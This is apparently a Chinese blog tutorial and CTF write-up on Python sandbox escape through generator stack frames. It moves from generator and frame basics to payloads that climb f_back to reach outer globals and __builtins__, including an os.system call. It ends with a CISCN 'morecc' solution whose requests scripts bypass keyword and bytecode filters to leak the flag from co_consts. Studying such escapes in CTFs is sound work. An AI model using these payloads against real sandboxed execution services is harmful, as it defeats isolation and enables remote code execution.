python沙箱栈帧逃逸

生成器

生成器(Generator)是 Python 中一种特殊的迭代器,它可以通过简单的函数和表达式来创建。生成器的主要特点是能够逐个产生值,并且在每次生成值后保留当前的状态,以便下次调用时可以继续生成值。

1
2
3
4
5
6
7
8
def f():
b=114
while True:
yield b
b+=514
f=f()
print(next(f))
print(next(f))

运行结果如下

image-20240701103049510

运行的时候 b的值是114

运行到yield的时候 会中断

image-20240701103547223

yield 用于产生一个值,并在保留当前状态的同时暂停函数的执行。当下一次调用生成器时,函数会从上次暂停的位置继续执行,直到遇到下一个 yield 语句或者函数结束。

1
2
3
4
5
6
7
8
def f():
b=114
for i in range(10):
yield b
b+=i
f=f()
for i in f:
print(i)

如果不用next函数逐步执行 生成器会直接运行相关的所有值 一次性全部输出

image-20240701104156665

生成器的相关属性

1
2
3
4
5
gi_code: 生成器对应的code对象。
gi_frame: 生成器对应的frame(栈帧)对象。
gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。
gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。
gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量

打印一下看看

1
2
3
4
5
6
7
8
9
10
11
def f():
b=1
for i in range(10):
yield b
b+=1
f=f()
print("gicode",f.gi_code)
print("gi_frame",f.gi_frame)
print("gi_running",f.gi_running)
print("gi_yieldfrom",f.gi_yieldfrom)
print("f_locals",f.gi_frame.f_locals)

image-20240701105652638

栈帧

每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈,称为调用栈。

主要包含以下的组成对象

1
2
3
4
5
f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。
f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti: 整数,表示最后执行的字节码指令的索引。
f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

我们捕捉栈帧并且输出看看

1
2
3
4
5
6
7
8
def test():
def f():
yield g.gi_frame.f_back
g = f()
frame = next(g)
print(frame)
print(frame.f_back)
test()

image-20240701202203703

可以看到 先输出了此时运行到的line7 然后打印出了上一帧 也就是line9

栈帧逃逸

通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表

注意到存在两个可以利用的对象

1
2
f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。

测试

1
2
3
4
5
6
7
8
9
10
def test():
def f():
yield g.gi_frame.f_back
g = f()
frame = next(g)
print(frame)
print(frame.f_back)
b=frame.f_back.f_globals
print(b)
test()

输出

image-20240701202824060

我们可以获取到全局对象

使用一个沙盒试一下

1
2
3
4
5
6
7
8

flag="flag"
payload='''
print(flag)
'''
locals={}
code=compile(payload,"test","exec")
exec(code,locals)

由于设置的exec环境里面不存在flag 无法拿到这个值

image-20240701203344059

使用栈帧逃逸时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

flag="flag"
payload='''def test():
def f():
yield g.gi_frame.f_back
g = f()
print(flag)
frame = next(g)
print(frame)
print(frame.f_back)
b=frame.f_back.f_back.f_globals['flag']
print(b)
test()'''
locals={}
code=compile(payload,"test","exec")
exec(code,locals)

image-20240701203431836

成功获取到沙盒外面的flag对象

globals中的__builtins对象

__builtins__ 模块是 Python 解释器启动时自动加载的,其中包含了一系列内置函数、异常和其他内置对象。

1
2
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BaseExceptionGroup', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EncodingWarning', 'EnvironmentError', 'Exception', 'ExceptionGroup', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'aiter', 'all', 'anext', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']

可以使用这里面的对象来完成rce

1
2
3
4
5
6
7
8
9
10
11
12
flag="flag"
payload='''def test():
def f():
yield g.gi_frame.f_back
g = f()
frame = next(g)
b=frame.f_back.f_back.f_globals["__builtins__"].eval('__import__('os').system("calc")')
print(b)
test()'''
locals={}
code=compile(payload,"test","exec")
exec(code,locals)

有点多此一举的感觉(笑 但是好玩)

image-20240701205129230

不使用next获取栈帧

可以使用for语句去获取

1
2
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]

CISCN 初赛 morecc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
def source_simple_check(source):
"""
Check the source with pure string in string, prevent dangerous strings
:param source: source code
:return: None
"""

from sys import exit
from builtins import print

try:
source.encode("ascii")
except UnicodeEncodeError:
print("non-ascii is not permitted")
exit()

for i in ["__", "getattr", "exit"]:
if i in source.lower():
print(i)
exit()


def block_wrapper():
"""
Check the run process with sys.audithook, no dangerous operations should be conduct
:return: None
"""

def audit(event, args):

from builtins import str, print
import os

for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
os._exit(1)
return audit


def source_opcode_checker(code):
"""
Check the source in the bytecode aspect, no methods and globals should be load
:param code: source code
:return: None
"""

from dis import dis
from builtins import str
from io import StringIO
from sys import exit

opcodeIO = StringIO()
dis(code, file=opcodeIO)
opcode = opcodeIO.getvalue().split("\n")
opcodeIO.close()
for line in opcode:
if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
break
print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
exit()


if __name__ == "__main__":

from builtins import open
from sys import addaudithook
from contextlib import redirect_stdout
from random import randint, randrange, seed
from io import StringIO
from random import seed
from time import time

source = open(f"./uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()
source_simple_check(source)
source_opcode_checker(source)
code = compile(source, "<sandbox>", "exec")
addaudithook(block_wrapper())
outputIO = StringIO()
with redirect_stdout(outputIO):
seed(str(time()) + "THIS_IS_SEED" + str(time()))
exec(code, {
"__builtins__": None,
"randint": randint,
"randrange": randrange,
"seed": seed,
"print": print
}, None)
output = outputIO.getvalue()

if "THIS_IS_SEED" in output:
print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
print("bad code-operation why still happened ah?")
else:
print(output)

主要还是看runner的逻辑

过滤了”__”, “getattr”, “exit” 不允许是非ascii字符 不允许出现”LOAD_GLOBAL”, “IMPORT_NAME”, “LOAD_METHOD” 除非是导入原来的库 然后就是监听了沙盒的内的允许 不允许出现”marshal”, “__new__", “process”, “os”, “sys”, “interpreter”, “cpython”, “open”, “compile”, “gc”等字符 同时制空了builtins

可以使用栈帧逃逸去获取沙箱外的对象 然后完成rce

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = "http://192.168.111.129:5000/run"
payload='''def test():
def f():
yield g.gi_frame.f_back
g = f()
frame = [x for x in g][0]
b=frame.f_back
print(b)
test()'''
rep=requests.post(url,json={"code":payload})
print(rep.text)

成功获取帧对象

image-20240701211549362

尝试ping和curl无反应 rce命令不回显

image-20240701212449773

image-20240701212509440

注意到

image-20240701212714614

读入flag之后 使用随机的值替换掉flag

co_consts常量列表

此字段是常量列表,例如代码对象中包含的字符串文字和数字值

可以通过这个获取到flag

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = "http://192.168.111.129:5000/run"
payload='''def test():
def f():
yield g.gi_frame.f_back
g = f()
frame = [x for x in g][0]
b=frame.f_back.f_back.f_back.f_code.co_consts
print(b)
test()'''
rep=requests.post(url,json={"code":payload})
print(rep.text)

但是会打印出THIS_IS_SEED 这里就不能输出

可以获取到str 然后进行字符串处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url = "http://192.168.111.129:5000/run"
payload='''def test():
def f():
yield g.gi_frame.f_back
g = f()
frame = [x for x in g][0]
b=frame.f_back.f_back.f_back.f_globals["_"+"_buil"+"tins_"+"_"]
d=b.str
b=frame.f_back.f_back.f_back.f_code.co_consts
c=d(b)
for i in c:
print(i,end=" ")
test()'''
rep=requests.post(url,json={"code":payload})
print(rep.text)

成功获取到flag

image-20240701213517118

参考资料

Python利用栈帧沙箱逃逸 - 先知社区 (aliyun.com)

python栈帧沙箱逃逸 - Zer0peach can’t think

CISCN2024初赛复现 | L的博客 (lisien11.github.io)